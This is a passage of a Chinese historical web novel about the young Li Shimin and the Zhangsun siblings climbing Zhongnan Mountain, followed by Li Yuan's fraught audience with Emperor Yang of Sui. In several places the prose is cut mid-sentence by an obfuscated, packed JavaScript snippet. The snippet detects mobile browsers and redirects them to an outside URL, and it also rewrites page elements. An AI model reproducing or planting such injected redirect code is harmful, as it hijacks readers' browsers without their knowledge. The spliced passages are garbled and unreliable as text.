长孙无忌一摊手:“你身为名门淑女,弄坏了哥哥朋友敝帚自珍的锦绣文章,不痛不痒地道歉也就算了,连眼圈也不红一下的吗?”做哥哥的还在企图努力维系妹妹在好友心中的刻板却美好的形象。 长孙青璟却毫不领情,只是绕到无忌跟前,拿手指骨节碰了碰哥哥的额头,轻声说:“你五石散服过量来吗?脑子微恙?” 一旁的阿彩忍不住“噗嗤”笑出声来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好似心有灵犀一般,三人商量已定,高老夫人便遣人来请李公子相见。李世民一时被高士廉的母亲高老夫人,高士廉之妻子鲜于氏、长孙无忌之母高氏团团围住,嘘寒问暖,简直如坐针毡。 “好久不见,都长这么高啦。” “在涿郡时有没有遇险?” “父母亲是否安康?” “外祖父母健在否?” “我与你外祖母襄阳长公主可是幼时玩伴,她可与你提起过?” “家中兄弟姊妹几何?各在何处?” “马上又要随父就任吗?在大兴停留几月?” 平日里活泼健谈的少年一下子被三位夫人的热情吞没,变得木偶般呆板,嘴角因维持着礼貌的微笑而酸疼。他头半低着,脸有些红,认真地思索着每一个问题,再进行礼节性的回应。 女眷们围着少年足足闲聊了一个时辰,陪侍一旁的长孙无忌与长孙青璟也禁不住哈欠连连。大家均不知高士廉又去了何处。鲜于氏吩咐孩子们用些点心后,长孙青璟借故离开。李世民约定了登高之日便与无忌拜别。 阿彩跌足追风,捧着一个函盒一路小跑着来到两位郎君面前。 “娘子说,三公子的手稿,我家辅机公子都妥帖保管着。今日我家公子诸事繁忙,娘子便代为整理,悉数交还李二公子。公子的《祭魏武文》《赋尚书》,娘子已经重新誊抄。写得匆忙,难免错漏,望公子勿怪。” “费心了。”李世民的接过函盒,目光在阿彩和长孙无忌之间游移,“我改日定来致谢。” 长孙无忌便送别挚友边替妹妹解释:“青璟大概把你的诗文与敏行的诗文弄混了。敏行平日总嫌弃她诗赋出韵,她好不容易抓住把柄,定是要好好嘲笑敏行一番,才那么吹毛求疵地写批语。” “敏行是陆法言亲自调教的高徒,应该不会写出我这样不着调的诗赋……”李世民坦然地说道,“能再见到你们,真是太好了。” 他将那个带着核桃香的函盒捧在胸口,感激有人替他保管了整个少年时代的欢欣快意、轻狂潇洒。 8. 登高 “送给薛国夫人的绸缎在宝相花纹的盒子里,送给孝瓘舅父遗孀的熏香在蕙兰纹样的盒子里,小心收好,不要弄错。”鲜于夫人一边指挥着仆役将珍玩装车,一边为长孙无忌扎紧了幞头,“如若在薛国公家的别业遇到安业,切记不要与他置气,更不准动粗,你就如一般亲戚相□□个头就罢了;我倒是还担心老舅母睹人思旧,见到年轻人又不免伤感。若是她一再挽留你,就陪她聊几句,弹几曲琵琶令她开心一下。告诉她外祖母一切安好,勿念。不过这两处都不要过多停留,山上险要处也不准去……早些回家。” 登高之期就在李世民上门拜访高士廉的第二日。李世民早就准备停当,按辔在高家别业附近徘徊。见长孙无忌被舅母耳提面命絮叨了很久,不觉暗自发笑。又记起长孙无忌说过高氏夫妇至今膝下无子,想来也是对他视若己出,这看似啰嗦却句句在理的言辞也便亲切起来。 “无忌不是小孩子了。”高士廉见妻子还在不停叮咛,便忍不住打断她,“他自己会裁夺。再说,万一长辈们与他们聊得投机,想多留两个孩子片刻,他又如何推辞?” 门柱后突然冒出一个套着黑色风帽的脑袋:“我也要去。”长孙青璟穿着利索的暗纹胡服,脸上胭脂极淡,让人误以为只是个气色极好的少年。贴身婢女阿彩炫耀似的指了指随身包裹里吃喝的物什和几双登山用的谢公屐。 “也罢。”高士廉被这副雌雄莫辨的打扮逗笑了,“你一会儿拜会了老舅母就待在尼寺里陪着她闲谈,郎君们下山后来接你就是了……” “那是自然,我不碍事的,绝不拖累哥哥和李公子。”她认真慎重地承诺着,心里却是另外的盘算:“先稳住舅父得以脱身再说。今日定要登顶终南去看看大兴城全貌……冷静,冷静,别又让兄长窥见我如意算盘,不能让他发现我准备逞强的蛛丝马迹,被他从半道押回家就难堪了……” 三人在仆役保护和婢女簇拥下迤逦而行。恰逢薛国府别业中仆役通报嗣国公陪伴郑老夫人外出,三个孩子乐得将礼物送完就离去。 来到山脚下的尼寺,三人又拜访在此隐居避世的另一位郑老夫人。老夫人见到高家的两个外甥,死寂了许久的眼神又泛出了光华,将无忌与青璟延入内室,燃起了熏香。 青璟牢记舅母“莫提往事”的嘱咐,便开开心心地聊起大兴的利人、都会两市,元正的热闹,时兴的服饰,高家的好友。 “舅母,下次你要无趣了,就上我们家看花,外祖母老牵挂你呢。要是腿脚不便,就让哥哥用肩舆扛你——你看他现在长得这么壮实!”长孙青璟跽坐在郑老夫人身边,挽着老太太的臂膀,撒着娇说笑。 “好啊,我当脚夫也无妨,你这张嘴不去说参军戏可惜了,好歹也得扮一下苍鹘逗长辈们开心才对得起大家的疼爱。”长孙无忌高高举起拂尘,轻轻甩过妹妹头顶。 两个孩子插科打诨,室内的空气也欢腾了起来。“转告叔母,我一个戴罪之身时常劳她牵挂,实在无以为报。下次一定上你家赏花去!”老太太年轻时也是邺城社交圈的明珠,与孩子们开起玩笑毫无顾忌。 “一言为定,外甥定当从今日起苦练膂力,到时来接您。”长孙无忌空手做了个抬舆的姿势,惹得舅母与妹妹都开怀大笑。 …… 郑老夫人隔着竹帘望了望正在法堂前局促等待的年轻人,听闻外甥与甥女与好友相约登高,怕下山晚了遇险,便催促着一行人赶紧出发。 “薛国府里一个作威作福的郑老夫人,尼寺里一个穷困潦倒的郑老夫人,也不知何时又会冒出个荥阳郑家的亲戚。皇帝换了一拨又一拨,可是你永远可以在不同地方遇到屹立不倒的高门勋贵家的子女,甚是有趣!”等待中的李世民胡思乱想了一盏果酒的工夫,便又一次与长孙兄妹汇合。 “就知道你不愿意乖乖留在此地等我们,你这个小娘子,就是出门给我添乱的。”长孙无忌一边吩咐仆役准备登山,一边与长孙青璟笑闹着。 长孙青璟扶了扶追着宝相花金箔的风帽,得意洋洋地走在前面,顽皮地调侃道:“我哥哥见多识广,孔武有力,定能护我周全!我又有何忧?” 她一侧身,正撞上挽着马缰徐行的李世民,误以为是无忌又害怕她绊倒而准备拽住她的胳膊,便习惯性地用拳头抵着对方胸膛,意欲将他推开。 “啊,是你啊。”长孙青璟见推不动,便回头想砸长孙无忌一下,却恰好迎上李世民明亮的微笑。发现自己认错了人,青璟脸涨得通红,转身轻步捷移,风一样地溜走了。 在李世民眼中,前方有一只神气活现、跳跳纵纵的小猫,忽闪忽闪地挠着人心。 一行人轻车熟路,不一会儿就来到终南山高敞处,大家找到一块平整岩石,铺上毡子。长孙无忌、李世民侧坐,婢女阿江往一边往茶釜中添水一边添柴扇风。观音婢等待二沸,往水中加盐。 晨雾渐渐散去,大兴城如规整的棋盘一般骤然出现在众人眼前。 “你从涿郡回来后心情一直不好,也不健谈。”长孙无忌问道,“有心事吗?” 李世民向长孙无忌慨叹道:“战事不顺,玄感叛乱,我三弟又去世——不顺心的事接踵而至,家人确实都说我比往年阴郁了些。我从未想到过大兴是如此壮美,只可惜如此风物,大好河山却落在——”他的声音戛然而止。 长孙无忌轻轻叹息:“……却是可惜了……我舅父与斛斯尚书略有交集,在尚书处听说陛下又将北巡……”他摇头继续道,“闻听因为北巡之事又处死了数位阻止的谏官,如今恰是又是盗贼四起,天下乱象频现之时……” 李世民沉吟道:“今后之国事,也未可知呢。”他冷笑着耸肩。 婢女阿江膝行至两人近前,手捧茶盘:“今日可是娘子亲自点茶。娘子说了,二位郎君莫再争辩,且宽下心一品娘子手艺。” 两人坐正了接过杯盏。长孙无忌杯中的茶沫被汤匙调成了一张发怒的圆脸,他只得无奈地笑着摇头。李世民依稀辨出自己杯中的茶沫形状为雄鹰掠过山巅,不由向长孙青璟感激一笑。青璟裹紧风帽,侧着脸轻轻点头。 长孙无忌呷了一口茶道:“能写出《赋尚书》《祭魏武文》那般大气魄诗文的人定然志存高远,不知世民的志向是什么?” 青璟兴致勃勃地朝两个少年的方向挪了挪,毫不掩饰心中的期待。 李世民小心翼翼地看了少女一眼,收敛起锋芒道:“你为主,我为客,反客为主很是不妥,不如无忌先说。” 长孙无忌望着远山,叹了口气,似乎想一吐块垒:“不怕你笑话,我的家事很是繁琐。当年我母亲不愿我在父亲仙去后在异母兄长身边摇尾乞怜而生,好歹为我留下了作为右骁卫将军真正嫡子的最后一丝尊严……” 他怯怯地望了一眼长孙青璟,满怀歉意:“这事也连累了观音婢……所以我自是想重振家族门楣,干出一番堪比父亲设计拆分一个控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041787|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弦百万的敌对强国更为惊天动的大事来!说来可笑,我虽口出狂言,说到底在世人眼中不过是被兄长逐出家门的‘逆子’而已。这一切真是让你见笑了。” “我信你能成大事啊,哥哥!”长孙青璟又靠近了长孙无忌一些,脸颊悬空着似靠非靠在无忌肩头,像一只蜷缩着的安慰人的狸奴,对着最爱的人收敛起爪牙,梳理着一身顺滑的皮毛,乖巧而又善解人意。 “啊,你真能惹人难受。真想把你扔在这荒山上。”长孙无忌有些哽咽地揉了揉青璟的风帽,然后猛地喝完剩下的茶汤,背过身去。他想做让母亲可以倚仗的好儿子,让妹妹可以信赖的好兄长,让舅父可以为之骄傲的好外甥,但是一切似乎都落空了。 他那些伪装的坚强、偏执、自大都在妹妹这一句对他终成大器的肯定中被击得粉碎。 长孙青璟努着嘴,做出了“劝劝他”的夸张唇语。 李世民准确地收到了“小狸奴”的求救信号,开始了自顾自的剖解:“有时我踌躇满志,总觉得振臂一呼,应者云集;有时又兴意阑珊,觉得时光如流电,人如偷生之蝼蚁。”他仰望蓝天,很想高吼一声何去何从,但最后只是化作一句平淡而沉重的话语:“苍穹太高,我拼命想去触碰却抓不住它的边缘。” “谢谢你。”长孙青璟的眼角划过一颗星子,沉静而又璀璨。 三人均若有所思,山岚清风拂过长孙青璟的脸颊,吹开了略显厚重的风帽。长孙青璟也仰头凝望蓝天,澄澈的眸子中倒映着白云苍狗。 李世民举杯将茶汤一饮而尽却被苦涩的茶水呛得咳嗽连连。 长孙无忌早已平复了心情,不觉疑惑地问道:“怎么了?”他眼珠一骨碌:“观音婢,你没往茶水中洒什么怪东西吧?我记得山上有种野果倒是可以解苦,风味又极佳,待我附近找找。阿江,你识得百草,随我同去。”他不顾世民反对起身。 “双倍胡椒啊!”青璟忽闪着无辜的双眼。 “他一肚子胡椒都浸渍入味了吧?你怎么不把我两人扔进茶釜里煮一煮啊?”做哥哥的也只是慨叹妹妹尽追逐一些华而不实的时兴物什,“上次你往茶里给我放什么来着?龙脑还是薄荷?真是寒气都冲出了七窍!下次只准放盐啊!” 长孙青璟朝着长孙无忌找菓子的背影撇嘴:“自从被我试验过一次之后你便念念不忘,真是小心眼!”她努力向李世民解释这饮品的妙处来:“这可是大兴时兴的饮料,喝惯了果酒和酪浆的人不喜欢也在情理之中。”好歹她也自知理亏:“当然也许有些呛人——阿江,给李公子斟上葡萄酒!” 李世民平复着剧烈的咳嗽,摆手道:“不必!这茶水入口虽有些苦涩,但回味却是悠远无限,大有‘绕梁三日’之感,可称上品。果酒酪浆岂配与其相提并论!谁说我不喜欢?有劳江娘再为我沏一杯。” 阿江捧着茶壶向前道:“公子,按规矩,茶只能喝三盏。”说罢掩口窃笑。 长孙青璟的脸微红,轻轻“哼”了一声,扁着嘴将脸别去看风景,口中嘟囔着:“没规没距,怪不得写得一手废话连篇、狂妄自大的文章……” 阿江找到甜味野果,迅速用山泉洗净切开嵌入菓子中。两位少年用完菓子,便齐躺在岩石上小憩。 李世民指着偶尔掠过天际的雄鹰:“多想附体在它身上!” 长孙无忌微笑着回应:“是啊。” “我也是……”长孙青璟凝视二人,陷入沉思。 9. 独处 三人想起已经过世的李玄霸,不由悲从中来。长孙青璟想起李玄霸临走那日也是这样的天气,想起李世民在涿郡的日子里,在大兴的三人也畅想过四人团聚的情形。 而今白云迷离恍惚,而斯人不在,大家一时怆然无语。 长孙青璟怯怯地说起玄霸对命运不公的悲叹,说起五弦琵琶里昂扬的斗志,说起飞不出光柱的混乱尘土。 她的关心,慨叹,哀婉,愁怨的,是深埋泉下的少年,更是无力扭转的时局和被阴霾笼罩的未来。 李世民喃喃道:“家里的几个兄弟中数玄霸最文弱柔顺,未料到弥留之际与烈马、天地为伍,他竟有如此胆色!可怜可叹。”他在岩石上兜转了片刻,确认了方位,指向渭水沿岸处:“他在那里,家族墓地的最高处。我前几日为他修过碑……与清风、流水、松涛为伴,想来也不会害怕。” 清晨的山风吹得人通体冰凉,长孙青璟裹紧了身上的胡服,向李世民所指的方向肃拜。 李世民俯身捡拾来几块花色的石子收藏好:“我本来与他约定回大兴时来南山登高,可惜他去了。我过几日给他送去,再陪他聊聊。” 长孙青璟终于鼓起勇气坦然地面对李玄霸那场意料之中又突如其来的死亡:“二公子能来看他,三公子想必很高兴呢!三公子平日里最佩服的人就是二公子,望他可以借二公子得眼看到更广阔的世界吧!看——” 顺着青璟手指的方向,世民和无忌又看到一只雄鹰在空中盘旋了几圈,掠过山头向远处的崇山峻岭飞去。 “那就是玄霸无疑了——他听到我们说起他了。”无忌若有所思地说。 须臾间,有一团麻絮堵在三人胸口,一点也摆布不开。 “我们比爬山吧,谁先到山顶算谁赢,输的那个下次做东请喝酒。”长孙无忌也觉得过多提及伤心事不妥,尤其当死者是三者共同的挚友时。消解三份愁怨的良药自然是做一件酣畅淋漓又精疲力竭的大事。 是的,长孙无忌自己也未注意,鬼使神差中,长孙青璟也被列入知己之列。 李世民一副了然于胸的模样:“主意不错,虽说已经错过日出,也聊胜于无。不过,令妹就不用和我们比试了吧?” 长孙无忌恶作剧似的看了长孙青璟一眼:“长辈们一再嘱咐护她周全,她自己也发誓不添乱的,我自然不带她前行。”他正了正衣冠,掸去尘土,摆出一副“长兄如父”的做派对歪抿着嘴的长孙青璟道:“你就在此处弹弹琵琶吹吹风,喝点加了双倍胡椒的茶汤,实在无趣就和婢女们下几局双陆棋……须臾之间,我和世民就回来了。回家的路上,我再细细与你说及峰顶景象。” 长孙青璟也不回应,只是噘着嘴,像一尊堵路的石雕般在哥哥面前生了根,还不忘了恶狠狠地瞥了李世民一眼。全身上下就只有眼珠子在骨碌着,每一道目光都是磨得锃亮的利爪。可见气恼到了极点。 她就用这无形的刀子目送两位郎君飘然登高,心中颇为不忿。 待两人走远,长孙青璟才从魔怔般的气恼中缓解过来,深深喘息来片刻,便轻轻推醒身边支撑着她的,几乎假寐的阿彩:“跟我走,去登顶。” 阿彩瑟缩地瞥了四仰八叉的仆役们们一眼,委委屈屈地打开包裹,手忙脚乱找出谢公屐,为长孙青璟穿戴停当。 现在终于无人管束她了,真是值得跳一支柘枝舞庆贺一下呢。趁着众人不备,长孙青璟便拉扯着阿彩一路追赶哥哥的行踪。 约莫在盘曲高峻的山路上疾行一里路,却见李世民正磕磕绊绊,左顾右盼,停滞徘徊。长孙青璟追上来时,他显然很是惊异:“青……娘子,你可是应允过舅父与兄长绝对不涉险的!” “我哥哥把公子甩远了,是也不是?”长孙青璟只觉得眼前灰头土脸的李世民甚是好笑,一想到一再提醒无忌不让自己随行的人满脸狼狈相,她心中就更畅快了。 “不要罔顾左右而言他!”他想努力表现出兄长的威严来,却越发显得虚张声势。“最后一段山路凶险,女孩子还是稳妥地在山腰等待为宜……”他柔声细气,意图把顽皮的长孙青璟哄回去。阿彩也在一旁不住点头。 见到长孙青璟执意上行,李世民也只能试探性的叫了几声“无忌”,希望这个滚进灌木丛中就消失不见的好友奇迹般现身。然而,回答他的只是空旷山谷里一串叠加的回响。 “不与他比试了,我先送你回去。”他思忖来片刻,做了一个有悖于争强好胜性格的决定,“也不知你哥哥去哪里了,上一刻还说说笑笑,下一刻就变成树了吗?我现在顾不了他来,我带你回去等他……我代他好好看管你!” 长孙青璟笑道:“我哥哥又不是树精,不会幻化。那是去山顶的捷径,我和哥哥走过。几年前因他带我偷跑出来,两人一起在母亲跟前罚跪。故而这条山路我兄妹二人熟稔得很……公子还是快追上去吧,免得被罚请客喝酒。” 她看着李世民无处安放的臂膀,似笑非笑道:“要不你求求我,我就不计前嫌带你走那条蓝天仅存一线的陡峻小路,兴许不会输得太过难堪!” 李世民哈哈笑道:“你怎知我一定会输给你哥哥——我偏不求你,偏走上山的大道。” 他心里却是另外的盘算:“事已至此,不妨与她一道前行,料她也无虚言,只是一般贪玩。若强行按首押她下山,我与她并无血缘,拉拉扯扯甚为不妥,这些嘴杂的婢女家生把闲言碎语传扬出去,于我两家,于我三人的名声皆是大碍。不如就顺势与她前行,无忌面前让她自行解释便是。唉,我今日脑子里尽在胡思乱想些什么东西?堂堂男儿为何贪图和一个尚未及笄少女的相处的时光?” 他清了清嗓子,装作深思熟虑后方才艰难应允的模样:“那就这样,此次我就不再执意送你下山,带你登顶与无忌汇合。但你须得答应须臾不离我左右。” “这是自然!”张牙舞爪的猞猁又变回了乖巧的小猫。 “要不我们比比看,我让你百步。” 长孙青璟却悠闲地坐到一块尚能容人的石头上:“你先走!” 李世民平视她,蹙眉道:“这成何体统,你要是在我身后出了事,你哥哥岂不是要怪罪我。” 长孙青璟有些不耐烦:“我既已答应同行,便不会食言。你信不信我一定在百步之内赶上你。” “反正你也逃不远。”李世民唯恐再争辩下去,这少女便如脱缰野马般逃脱,到时真是一发不可收拾,便将信将疑地向山顶走去。 为了确保对方相信自己的诚意,长孙青璟勒令阿彩大声报数。果然不出百步之后,李世民便听到身后有劈啪的木屐声。 一路上,两人始终并行。到得所谓只见一线蓝天的地方,李世民很想伸手拉青璟一把,却见她步履轻盈,甚至还拖着满脸愁容的阿彩同行,他便自嘲地将伸到半空中的手收了回来。 三人便在这陡峭狭窄的天梯上攀援,青璟有一搭没一搭地问道:“涿郡的山水比关中如何?” “差别不大,略平整些。” 好没意思的回答,青璟腹诽着。 “你见到恢弘的龙舟水殿了吗?唐公与主上是姨表兄弟,你一定见过他吧?”她对奢靡的皇帝杨广和鬼才设计师宇文恺合力建造的水上行宫很是感兴趣。 “远远见过,不过没有资格靠近法驾。岸上的纤夫可没心思观赏这些雕梁画栋的天宫。”李世民道,“我是站在岸上的人,不是龙舟高阁上的人。” “哦,我也听闻一些开挖运河的民夫的惨状……”长孙青璟大概觉得自己失言,有些惭愧,攀援的速度也慢了下来。 “主上的雄心靡费过多了,是吧?”李世民顺手拨开路边几丛灌木,以行路掩饰心中愤懑。 话题开始变得沉重不可控,两人沉默着在陡直的一线天中赶路。 李世民忽然“哎呀”叫唤了一声。他捂着左腕道:“我被树枝挂伤了。你先上去,我随后就到。” 长孙青璟回首,扫视了他周围一眼:“把手伸出来。” “作甚?”李世民警觉地把手往袖口中缩进。 “才不是给你包扎伤口呢。”长孙青璟握着一根结实的松枝,在崖壁上涂涂画画,“你就像我哥哥一样瞧我不起,对不对?——你根本没受伤,是不是?你不必学我哥哥那样,故意输给我让我开心——” 见自己的小把戏被揭穿,李世民赔笑道:“你既不喜欢,我们就继续比试——不过山路狭窄,不便并行,就算平手吧!”他有点享受斗嘴的乐趣。 长孙青璟垂眸暗笑,不再理睬他,径自向山顶走去。 “小郎君怎么反倒没有娘子快?”阿彩略有些担忧,“不会迷路了吧?” 长孙青璟歪头轻笑:“阿彩心疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还好。”她很疲惫,逞强的结果就是远峰近树在眼前变得一片模糊,她曲肱而枕,沉沉睡去。一种从未有过的温暖和安全包围了她。她的梦,古怪而又充实,就和山顶一样,那里应有尽有,但所有的景色又全然不属于自己,除了淡淡的苜蓿香。 不知过了多久,她觉得肩头有些疼痛,睁开眼睛,李世民正用一根松枝捅她:“醒醒,看日晕。” 长孙青璟的身上不知何时被盖上了一件斗篷,李世民却老老实实坐在距她一人远的地方。 太阳的周遭被染上了七彩的光晕,青璟开心地拊掌,毕竟不虚此行。正午的阳光将少男少女将面庞映得神采飞扬,他们禁不住相视一笑。 “还好还好,日晕等着我呢。”不远处传来长孙无忌气喘吁吁的声音。 长孙青璟和李世民下意识地坐得更远一些。 “哥哥,你走近路怎么反倒迟了?” 无忌跳上岩石,横亘在两人之间抱怨道:“被不知何处滚落的山石和遭雷的树干挡了去路,我只得折回原路走正道。青璟,不准笑我,就知道你不老实!阿彩,回家替娘子跪半个时辰!” “不老实”三个字着实让青璟声怯气短。但是转眼长孙无忌的手臂又搭上来李世民的肩膀,两人啰嗦了一通日晕的天人感应解释,长孙青璟才发现自己多虑了。长孙无忌不过是在抱怨她不好好在山腰等待,兀自涉险罢了。 “哥哥,输了的做东哦!” 长孙无忌瞪了一眼抿嘴偷笑的妹妹,又拍拍李世民的肩膀道:“这是自然,你们想吃点什么?” 李世民道:“乡野小店的野味没什么意思。不如你的酒先欠着,改日一起出去打猎,自己烤着吃岂不更好?” “这样也好。不过,我得送青璟回家了,母亲现在肯定正着急呢。”说着他跳下岩石,催促长孙青璟快走。长孙青璟伸手要他扶自己下来。长孙无忌道:“少撒娇,怎么上去的原路原法子下来!” 长孙青璟撅着嘴将谢公屐扔到他怀里。长孙无忌笑嘻嘻地打量了她一下,发现李世民的斗篷在她身上,神色不由变得十分古怪…… 不过他已经没有时间多思考这些异样的琐屑的事情了,因为他的妹妹就像一只飞窜的小猫一般把他当做一块下落时缓冲的垫子,直直朝着他扑了下来…… 10. 暗流 “你哥哥和草上飞谁更重一点?”李世民扶着坐在碎石里的叫唤着疼痛的长孙无忌,问了长孙青璟这么个不合时宜的问题。 “不要拿我类比猞猁,我才不是猞猁。”长孙无忌对猞猁充满了恨意,“青璟你轻一点,我皮蹭掉了。” 长孙青璟将兄长胸背处的血渍用丝帕擦拭干净:“开什么玩笑,当然是他——我哥哥抵得上四头猞猁。” “不准说猞猁!我讨厌猞猁。”长孙无忌恨恨道,仰面躺在地上。 李世民帮忙为他系好缺骻服,忍不住笑道:“其实挺像的……” “我肋骨肯定被这头母猞猁撞碎了……青璟不准笑!” “我不是故意的,哭也哭过了,罪也陪过了。我都替你包扎了。过去我不也是这样从银杏树上跳到你怀里吗?” “你等着关禁闭和扣私蓄吧。”无忌挣扎着从碎石里坐起来,“我说到做到。” “别这么睚眦必报啊哥哥,私蓄可以扣,我替你写经都可以。禁足会闷死的。”长孙青璟讨饶道。 长孙无忌一开始真心想要撮合长孙青璟与李世民。趁着李世民在长安时,让妹妹与他多见几面——不必过分亲近,远远的看到一个娴雅绰约的影子、听听长孙无忌、敏行,李大志、大慧的吹捧即可。羃?下的美人最为蛊惑人心。 可惜妹妹实在顽皮,他都无法想象好友的内心这两日被长孙青璟无状举止震慑出什么想法。大概只要他长孙无忌敢提出联姻一事,李世民就敢与他绝交。 ——这只可恶的小猞猁不知道自己失去了什么,长孙无忌充满了遗憾与愤懑。既然未说出口的联姻希望落空,他便也不再替妹妹掩饰什么。皮肉伤痛之下,长孙无忌开始翻妹妹闯祸的旧账。 “你丢了我好不容易集齐的《齐律》。” “我又不喜欢律法,分明是猞猁吃掉的。” “你养的那头猞猁口味和一般人家的不一样吗?” “你偷了我的《妍神记》!” “借一下而已。” “你借给哪位娘子了?” 长孙无忌看了一眼好奇的李世民,改口道:“是我偷的,你想怎样?书放我瓷枕里了,就不给你。——我不但要让舅舅关你禁闭,还要取走你所有的书画和纸笔琵琶箜篌投壶弹弓。让你闷得大哭才解气。” 长孙青璟神色大变:“求求你,我以后一定学乖巧些。” “一点皮肉伤和扭伤而已,你不会嚷得大志大慧敏行都知道吧?”李世民拍拍灰尘,从地上坐起来笑道,“我妹妹也会和我做这么无趣的游戏。我一个不慎,也被弄得灰头土脸。你养几日就好了。跟妹妹置什么气?” “就是。”长孙青璟拼命点头,“大志会把你受伤的事编一个离奇的故事嘲笑你一整年。” “哼。”长孙无忌耸肩以对。 李世民与长孙青璟一人一边搀扶起无忌。 “青——长孙娘子,你能把无忌扶到我背上吗?”李世民弯下腰,“我背他下山。” “我能走。”长孙无忌推开二人强行走了几步,神色却痛苦至极。 “别逞强,上来吧。”李世民弯下背,“今天我父亲面圣,晚上回府定要与我和母亲商量大事,我不陪你磨蹭了。” …… 唐国公李渊行色匆匆步入太极宫。在徘徊瞻顾中,王尚仪盼来了舅父。 李渊致意:“尚仪好在!” 王尚仪还礼:“唐公无恙!”她导引李渊进入内殿。一路上,两人甩开宫中耳目。 “舅父但说无妨,身后的两位女史俱是甥女的心腹。”王尚仪凑近李渊,“家人一向可好?” “玄霸一年前夭折,你舅母身体偶发气疾。其余一切如常。上次你写密信来之后,我颇费了些周折,装了半载重病,也不料二征高句丽时又被起用。这几月忙于慰抚涉及杨玄感之乱的要地……” 王尚仪将李渊拉到一边,忧心忡忡道:“当今心思难测,据说西行回大兴后噩梦连连,怕是又要去东都待上一些时日,又听得几位尚宫提及北巡的打算。此次召见,怕是有新的任命。但是舅父又听闻舅父代天子宣威各处时颇得民心,心生猜忌,故而又要玩一玩测试臣下忠心的老把戏……” 李渊冷汗涔涔:“依你之见,陛下是动了杀心呢还是特意敲打我?” “舅父!”王尚仪抓住李渊手肘,千叮万嘱,”无论陛下给出多么苛刻的条件,只要还不危及身家性命,务必毫不犹豫地全盘应承下来以图后事……” 李渊无奈点头:“那是自然,为我通报吧。” 太极宫偏殿一角,杨广箕踞而坐,逗弄着新进贡的孔雀。李渊长揖不起。半空悬着的金累丝香囊外壁氤氲着一团青烟,皇帝的脸就在这缭绕的青烟中若隐若现。 杨广手持卷轴,慵懒地打着拍子:“‘暗牖悬蛛网,空梁落燕泥’——可惜薛玄卿再也不能与朕唱和了,可叹,可叹啊。嗯,‘张四维而临万宇,侔三皇而并五帝’——此亦为朕平生之志,可惜这傲气冲天的醋大偏要致美先朝看清朕,实是可恶!” 李渊伏地附和道:“陛下所言极是。” 杨广故作惊喜:“叔德来了!”他收拢起薛道衡的诗文与他对自己的满腹抱怨,两眼惺忪地近身:“快快快免礼,你我兄弟许久不见,你对朕越发生分了,真让朕心中酸涩。” 李渊道:“陛下西巡之时,臣抱恙不得从幸,无法目睹陛下威仪;东征之时,恨不得为陛下牵马执蹬,做一阵前先锋,可叹督粮职责在身,不能亲奉圣驾,实是抱憾终身。” 杨广揉着萎靡的面庞道:“为玄感之事,我不得不亲自回西京查办这些悖逆之臣。大兴真是个散发着腐臭的地方……太极宫、大兴善寺、玄都观、曲江、仁寿宫都充斥着这股令朕作呕的味道……对,仁寿宫,仁寿宫……” 他突然激动地抓住香囊,拼命摇晃着。“无论焚烧多少安息香都无法驱散这股腐尸般的恶臭!” 他咆哮着,狂躁不已,摇晃着他战战兢兢的表兄,“你闻到了吗?腥膻,腐烂!你闻到了吗?来人啊,将尚寝局府库中的香料全给朕找来,堆满太极宫!点燃!全都点燃!” 身边的孔雀被这尖刻的阴森的咆哮吓得长鸣一声,扑着翅膀跳到屏风之上。 李渊匍匐在杨广脚下,顿首劝解:“陛下,陛下,陛下保重龙体要紧,这感觉想来是陛下为天下操劳,鞍马劳顿所致……” 杨广缓缓坐在李渊身边,诡秘而又亲切地地说道:“叔德,朕昨晚又做噩梦了。梦中的人,都已经故去,只有——只有你还陪伴着朕……真是难得……” 李渊额上汗水滴落到猩红的地毯上,眼前闪过了贺若弼、虞庆则和薛道衡,心中想着如何恳求皇帝让他体体面面地与妻儿话别。 “陛下亲征高句丽之时,臣无时无刻不在为陛下和大隋江山祈福,感谢上苍赐给万民一位比肩尧舜禹汤的明君圣主……臣以总角之年陪伴陛下至今,虽万死亦无憾矣!”唐国公说得一片赤忱,恨不能剖心明证。 杨广俯首拍了拍表兄的后背:“此话当真?” “臣对陛下一片丹心,天日可鉴!” 两人对视,对峙良久。杨广面露得色。李渊坚信自己又一次蒙混过关。皇帝表弟的自负战胜了直觉,战胜了真真假假的谶语。时间又一次站在来唐国公这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041789|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。 